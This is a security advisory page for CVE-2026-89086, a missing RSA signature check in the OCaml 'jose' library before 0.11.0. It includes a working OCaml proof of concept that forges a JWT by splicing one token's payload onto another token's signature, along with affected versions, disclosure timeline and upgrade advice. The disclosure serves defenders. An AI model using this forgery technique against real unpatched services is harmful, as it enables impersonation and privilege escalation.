Skip to main content
VulnerabilityPublished 09/10/2026

JOSE: missing RSA signature verification (CVE-2026-89086)

Affects joseSource GCVE Database

0

Mentioned vulnerabilities

CVSS 9.1 Critical · fixed in 0.11.0 : patch jose as a priority.

Data as of 09/10/2026, 22:03:59 UTC

CVSS 3.1 base score
9.1Critical
How severe the flaw is on the 0–10 CVSS scale.
Patch
Available – fixed in 0.11.0, cf17d991ec6a0d1997956b6c7799890f9c28879e
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

What to do

Affected software

ProductAffectedFixed in
opamjosepkg:opam/joseOther threatsAffected
  • <0.11.0
  • <cf17d991ec6a0d1997956b6c7799890f9c28879e
  • =0.2.0
  • =0.3.0
  • =0.3.1
  • =0.4.0
  • =0.5.0
  • =0.5.1
  • =0.6.0
  • =0.7.0
  • =0.8.1
  • =0.8.2
  • =0.9.0
  • =0.10.0
Fixed in
  • 0.11.0
  • cf17d991ec6a0d1997956b6c7799890f9c28879e

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

AI-suggested

Upgrade to jose version 0.11.0 or later, where the RSA signature verification issue is fixed. There is no known workaround for affected versions prior to this patch.

Description

The opam package "jose" does not validate any RSA signature. It checks the encoding being PKCS1, but does not verify with the public key. ## Reproduction With jose 0.10.0, the code below signs two tokens with the same key and glues one's payload onto the other's signature: ```OCaml let () = Mirage_crypto_rng_unix.use_default () let key = Jose.Jwk.make_priv_rsa (Mirage_crypto_pk.Rsa.generate ~bits:2048 ()) let sign sub = Jose.Jwt.sign key ~payload:(`Assoc [ ("sub", `String sub) ]) |> Result.get_ok |> Jose.Jwt.to<http://jose.jwt.to/>_string let seg n token = List.nth (String.split_on_char '.' token) n let alice = sign "alice" and admin = sign "admin" (* alice's header and signature, admin's payload *) let forged = String.concat "." [ seg 0 alice; seg 1 admin; seg 2 alice ] match Jose.Jwt.unsafe_of_string forged |> Result.get_ok |> Jose.Jwt.validate ~jwk:(Jose.Jwk.pub_of_priv key) ~now:(Ptime_clock.now ()) with | Ok t -> print_endline ("accepted, sub = " ^ Option.get (Jose.Jwt.get_string_claim t "sub")) | Error _ -> print_endline "rejected" ``` The dune file: ``` (executable (name repro) (libraries jose mirage-crypto-pk mirage-crypto-rng.unix ptime.clock.os)) ``` This prints "accepted, sub = admin". ## Workaround There is no workaround known. ## Timeline - 2026-08-25: private report via email to the authors of jose - 2026-08-25: fix published to repository - 2026-08-31: mail escalated to security@ocaml.org - 2026-09-04: released jose 0.11.0 - 2026-09-10: published advisory

Impact

An attacker can forge JWT tokens by mixing payloads and signatures from different tokens without possessing the private key. This leads to a complete bypass of signature verification, allowing impersonation or privilege escalation. The vulnerability has a critical CVSS score of 9.1, indicating high confidentiality and integrity impact with no availability impact.

Summary

The jose package (versions <0.11.0) fails to validate RSA signatures correctly. While it verifies that the signature encoding is PKCS1, it does not perform cryptographic verification with the public key. This allows an attacker to create forged tokens by combining parts of different signed tokens, bypassing signature validation. The issue was privately reported on 2026-08-25, fixed shortly thereafter, and patched in jose 0.11.0 released on 2026-09-04.

Community reviews

Loading reviews…